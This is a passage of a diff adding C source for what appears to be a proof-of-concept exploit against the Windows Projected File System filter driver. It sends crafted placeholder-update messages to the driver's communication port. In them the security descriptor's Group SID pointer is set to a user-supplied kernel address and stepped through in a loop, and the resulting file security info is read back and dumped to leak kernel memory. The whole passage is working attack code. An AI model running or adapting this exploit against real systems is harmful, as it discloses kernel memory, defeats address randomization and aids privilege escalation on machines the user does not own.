wchar_t* rootName = gszRootDir; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + nullptr, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + + +struct _PRJ_VIR_INSTANCE_INFO +{ + GUID virtualizationInstanceID; + int Tag; +}; + + +struct _PRJ_FILE_BASIC_INFO +{ + BOOLEAN IsDirectory; + INT64 FileSize; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + UINT32 FileAttributes; +}; + +enum _PRJ_UPDATE_TYPES +{ + PRJ_UPDATE_ALLOW_PLACEHOLDER = 0x8, + PRJ_UPDATE_ALLOW_HARDLINK = 0x10, +}; + +struct _PRJ_PLACEHOLDER_INFO +{ + _PRJ_FILE_BASIC_INFO BasicInfo; + ULONG EaLength; + ULONG EaBufferOffset; + ULONG SdLength; + ULONG SdOffset; + int _48; + int _4c; + PRJ_PLACEHOLDER_VERSION_INFO VersionInfo; + //char EaBuffer[0xf]; + //char SecurityDescriptor[1]; + _SECURITY_DESCRIPTOR SecurityDescriptor; +}; + +struct __declspec(align(2)) _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA +{ + ULONG DataSize; + int InfoType; + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + ULONG RelPathOffset; + USHORT RelPathLength; + ULONG InfoOffset; + ULONG InfoSize; + ULONG SymlinkSubstituteNameBufferOffset; + ULONG SymlinkPrintNameBufferOffset; + USHORT SymlinkSubstituteNameLength; + USHORT SymlinkPrintNameLength; + int BitMap; + WCHAR RelBuffer[0x100/2]; + _PRJ_PLACEHOLDER_INFO PlaceholderInfo; + WCHAR SymlinkSubstituteName[0x100]; +}; + +struct _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA Data; +}; + + +struct _PRJ_MSG_OUT_HEADER +{ + int MessageType; + int Size; + int Status; + char Data[256]; +}; + +int GetSidSize(_SID* Sid) { + int Size = 8 + Sid->SubAuthorityCount * 4; + return Size; +} +void PrintSid(_SID* Sid) { + int Size = GetSidSize(Sid); + + printf("Size: 0x%02x\n", Size); + char* buf = (char*)Sid; + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +void PrintAcl(ACL* Acl) { + int Size = Acl->AclSize; + + printf("Size: 0x%02x\n", Size); + char* buf = (char*)Acl; + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +void PrintFileSd(LPCWSTR szFilePath, SECURITY_INFORMATION SecurityInfo) { + PSID psidOwner = NULL; + PSID psidGroup = NULL; + PACL pDacl = NULL; + PACL pSacl = NULL; + PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL; + + DWORD dwResult = GetNamedSecurityInfoW(szFilePath, SE_FILE_OBJECT, SecurityInfo, + &psidOwner, + &psidGroup, + &pDacl, + &pSacl, + &pSecurityDescriptor + ); + + + if (dwResult != 0) { + printf("PrintFileSd: GetNamedSecurityInfoW dwResult:%x\n", dwResult); + getchar(); + return; + } + + if (psidGroup) { + PrintSid((_SID*)psidGroup); + } + else if(SecurityInfo & GROUP_SECURITY_INFORMATION){ + printf("PrintFileSd: returned psidGroup is NULL.\n", dwResult); + getchar(); + } + + if (psidOwner) { + PrintSid((_SID*)psidOwner); + } + + if (pDacl) { + PrintAcl(pDacl); + } + + if (pSacl) { + PrintAcl(pDacl); + } + + Sleep(300); +} + +void PrjfWritePlaceholderInformationHandler() +{ + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + + HANDLE hPort = NULL; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + GUID InstanceId = InstanceInfo.InstanceID; + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + //wcscpy_s(Context.szVolume, L"\\Device\\HarddiskVolume2"); + wcscpy_s(Context.szVolume, gszWindowsDrive); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 3; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA); + + + Message.Data.InfoType = PRJ_UPDATE_ALLOW_PLACEHOLDER; + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = InstanceId; + Message.Data.RelPathOffset = 0x78; + Message.Data.RelPathLength = 0x100; + Message.Data.InfoOffset = 0x78 + 0x100; + Message.Data.InfoSize = sizeof(_PRJ_PLACEHOLDER_INFO); + Message.Data.PlaceholderInfo.SdOffset = 0x150; + Message.Data.PlaceholderInfo.SdLength = 1; + Message.Data.PlaceholderInfo.SecurityDescriptor.Revision = 1; + Message.Data.RelBuffer[0] = L'0'; + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + DWORD64 BaseAddr = gdwTargetAddress; + DWORD64 TargetAddr = BaseAddr; + + int FileIndex = 0; + + WCHAR szFilePath[MAX_PATH + 1] = { 0 }; + int Offset = 0; + + printf("BaseAddress: 0x%I64x\n", BaseAddr); + + + //SECURITY_INFORMATION SecurityInfo = OWNER_SECURITY_INFORMATION; + SECURITY_INFORMATION SecurityInfo = GROUP_SECURITY_INFORMATION; + //SECURITY_INFORMATION SecurityInfo = DACL_SECURITY_INFORMATION; + //SECURITY_INFORMATION SecurityInfo = SACL_SECURITY_INFORMATION; + + while (1) { + + TargetAddr = BaseAddr + Offset; + + _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER* pMessage = (_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER*)InputBuffer; + + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Owner = (PSID)TargetAddr; + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_GROUP_DEFAULTED; + pMessage->Data.PlaceholderInfo.SecurityDescriptor.Group = (PSID)TargetAddr; + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Dacl = (PACL)TargetAddr; + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_DACL_PRESENT; + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Sacl = (PACL)TargetAddr; + //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_SACL_PRESENT; + + + hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + _PRJ_MSG_OUT_HEADER* pOutData = (_PRJ_MSG_OUT_HEADER*)OutputBuffer; + + if (hResult != 0) { + printf("PrjfWritePlaceholderInformationHandler FilterSendMessage hResult:%x\n", hResult); + getchar(); + } + else { + + //printf("PrjfWritePlaceholderInformationHandler Status:%x\n", pOutData->Status); + if (pOutData->Status == 0) { + swprintf(szFilePath, MAX_PATH, L"%ls\\%ls", gszRootDir, pMessage->Data.RelBuffer); + memset(pMessage->Data.RelBuffer, 0, 0x50); + swprintf(pMessage->Data.RelBuffer, 0x50, L"%x", ++FileIndex); + + printf("\nTargetAddr: 0x%I64x\tOffset: 0x%x\t", TargetAddr, Offset); + + PrintFileSd(szFilePath, SecurityInfo); + } + else { + printf("?"); + } + } + Offset++; + } +} + +bool gbDebugging = false; + +void Prepare(int argc, WCHAR* argv[]) { + + GetWindowsDirectoryW(gszWindowsDrive, MAX_PATH); + gszWindowsDrive[2] = 0; + swprintf(gszRootDir, MAX_PATH, L"%s\\%s", gszWindowsDrive, gszRootName); + + if (gbDebugging) { + gdwTargetAddress = 0xfffff802b5c00000; + return; + } + + if (argc < 2) { + printf("Please input a kernel address as target in commandline, like 0xfffff803ca400000.\n"); + getchar(); + exit(1); + } + + if (swscanf_s(argv[1], L"%I64x", &gdwTargetAddress) != 1) { + printf("Failed to convert gdwTargetAddress from \"%ls\", please input a hex address.\n", argv[1]); + getchar(); + exit(1); + } +} + +int wmain(int argc, WCHAR* argv[]) +{ + Prepare(argc, argv); + + PrjfWritePlaceholderInformationHandler(); + + + return 0; +} \ No newline at end of file